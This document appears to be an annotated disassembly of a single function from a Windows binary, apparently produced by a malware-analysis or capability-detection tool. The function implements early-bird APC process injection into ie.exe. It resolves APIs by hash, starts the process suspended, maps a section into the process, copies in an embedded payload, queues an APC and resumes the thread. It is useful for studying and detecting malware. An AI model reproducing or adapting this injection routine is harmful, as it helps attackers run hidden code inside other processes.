Function at 0x14007208f
Capabilities:
Create process on windows
Create process suspended

Disassembly:
jmp 0x140077b20
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x4c8
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0xbe
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x4e8]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x468], rax
lea rcx, [0x1401a3168]
call fcn.1400730c5
nop
mov dword [rbp + 4], 0
mov dword [rbp + 0x24], 0
mov dword [rbp + 0x44], 0
mov qword [rbp + 0x68], 0
lea rax, [rbp + 0x88]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
lea rax, [rbp + 0xb8]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
lea rax, [rbp + 0xe8]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
lea rax, [rbp + 0x118]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
lea rax, [rbp + 0x148]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov qword [rbp + 0x178], 0
mov qword [rbp + 0x198], 0
mov qword [rbp + 0x1b8], 0
mov qword [rbp + 0x1d8], 0
mov qword [rbp + 0x1f8], 0
lea rax, [rbp + 0x220]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rbp + 0x2a8]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rdx, [rbp + 0x88]
mov ecx, 0x916c6394
call fcn.1400702ad
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jne 0x140077c65
jmp 0x14007805a
lea rdx, [rbp + 0xb8]
mov ecx, 0x625d5a2e
call fcn.1400702ad
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jne 0x140077c84
jmp 0x14007805a
lea rdx, [rbp + 0xe8]
mov ecx, 0x9523617c
call fcn.1400702ad
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jne 0x140077ca3
jmp 0x14007805a
lea rdx, [rbp + 0x118]
mov ecx, 0x6d397e74
call fcn.1400702ad
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jne 0x140077cc2
jmp 0x14007805a
lea rdx, [rbp + 0x148]
mov ecx, 0x8a4e6274
call fcn.1400702ad
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jne 0x140077ce1
jmp 0x14007805a
mov qword [rbp + 0x68], 0x37e
mov r9d, 4
mov r8d, 0x1000
mov rdx, qword [rbp + 0x68]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x1f8], rax
cmp qword [rbp + 0x1f8], 0
jne 0x140077d24
lea rcx, str.Out_of_memory_o.0_n
call fcn.14007172f
nop
jmp 0x14007805a
lea rax, [0x14015e4c0]
mov qword [rbp + 0x1f8], rax
mov dword [rbp + 0x220], 0x68
mov dword [rbp + 0x25c], 1
xor eax, eax
mov word [rbp + 0x260], ax
mov eax, dword [rbp + 0x25c]
bts eax, 8
mov dword [rbp + 0x25c], eax
lea rax, [rbp + 0x2a8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x220]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:Windowsie.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jne 0x140077dbc
jmp 0x14007805a
mov rdx, qword [rbp + 0x90]
mov ecx, dword [rbp + 0x88]
call fcn.140073408
nop
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0x40
lea r9, [rbp + 0x68]
xor r8d, r8d
mov edx, 0xe
lea rcx, [rbp + 0x178]
call fcn.140072b02
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x140077e1b
lea rcx, str.____Failed_to_create_section_n
call fcn.14007172f
nop
jmp 0x14007805a
mov rdx, qword [rbp + 0x178]
lea rcx, str.___Created_section:_0x_p_n
call fcn.14007172f
nop
mov rdx, qword [rbp + 0xc0]
mov ecx, dword [rbp + 0xb8]
call fcn.140073408
nop
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x48], 4
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 2
lea rcx, [rbp + 0x68]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rbp + 0x1b8]
mov rdx, rax
mov rcx, qword [rbp + 0x178]
call fcn.140072b02
mov dword [rbp + 0x44], eax
mov edx, dword [rbp + 0x44]
lea rcx, str.___Map_view_of_section_id:__ld_n
call fcn.14007172f
nop
cmp dword [rbp + 0x44], 0
jge 0x140077ebe
lea rcx, str.____Failed_to_map_view_of_section_locally_n
call fcn.14007172f
nop
jmp 0x14007805a
mov rdx, qword [rbp + 0x1b8]
lea rcx, str.___Mapped_section_locally:_0x_p_n
call fcn.14007172f
nop
mov rdx, qword [rbp + 0xc0]
mov ecx, dword [rbp + 0xb8]
call fcn.140073408
nop
mov dword [rsp + 0x48], 0x40
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 2
lea rax, [rbp + 0x68]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rbp + 0x1d8]
mov rdx, qword [rbp + 0x2a8]
mov rcx, qword [rbp + 0x178]
call fcn.140072b02
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x140077f4f
lea rcx, str.____Failed_to_map_view_of_section_remotely_n
call fcn.14007172f
nop
jmp 0x14007805a
mov rdx, qword [rbp + 0x1d8]
lea rcx, str.___Mapped_section_remote:_0x_p_n
call fcn.14007172f
nop
mov dword [rbp + 0x2d4], 0
jmp 0x140077f7d
mov eax, dword [rbp + 0x2d4]
inc eax
mov dword [rbp + 0x2d4], eax
movsxd rax, dword [rbp + 0x2d4]
cmp rax, qword [rbp + 0x68]
jae 0x140077faf
movsxd rax, dword [rbp + 0x2d4]
movsxd rcx, dword [rbp + 0x2d4]
mov rdx, qword [rbp + 0x1b8]
mov rdi, qword [rbp + 0x1f8]
movzx eax, byte [rdi + rax]
mov byte [rdx + rcx], al
jmp 0x140077f6f
mov rdx, qword [rbp + 0xf0]
mov ecx, dword [rbp + 0xe8]
call fcn.140073408
nop
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x1d8]
mov rdx, qword [rbp + 0x1d8]
mov rcx, qword [rbp + 0x2b0]
call fcn.140072b02
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x140078000
lea rcx, str.____Failed_to_call_NtQueueApcThread_n
call fcn.14007172f
nop
jmp 0x14007805a
lea rcx, str.___NtQueueApcThread_successfull_n
call fcn.14007172f
nop
mov rdx, qword [rbp + 0x120]
mov ecx, dword [rbp + 0x118]
call fcn.140073408
nop
xor edx, edx
mov rcx, qword [rbp + 0x2b0]
call fcn.140072b02
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x140078046
lea rcx, str.____Failed_to_resume_thread_n
call fcn.14007172f
nop
jmp 0x14007805a
lea rcx, str.___Resumed_thread_n
call fcn.14007172f
nop
mov dword [rbp + 4], 1
cmp qword [rbp + 0x2a8], 0
je 0x140078072
mov rcx, qword [rbp + 0x2a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
cmp qword [rbp + 0x2b0], 0
je 0x14007808a
mov rcx, qword [rbp + 0x2b0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, [0x14015e3e0]
call fcn.14007283c
mov eax, edi
mov rcx, qword [rbp + 0x468]
xor rcx, rbp
call fcn.1400717b6
lea rsp, [rbp + 0x478]
pop rdi
pop rbp
ret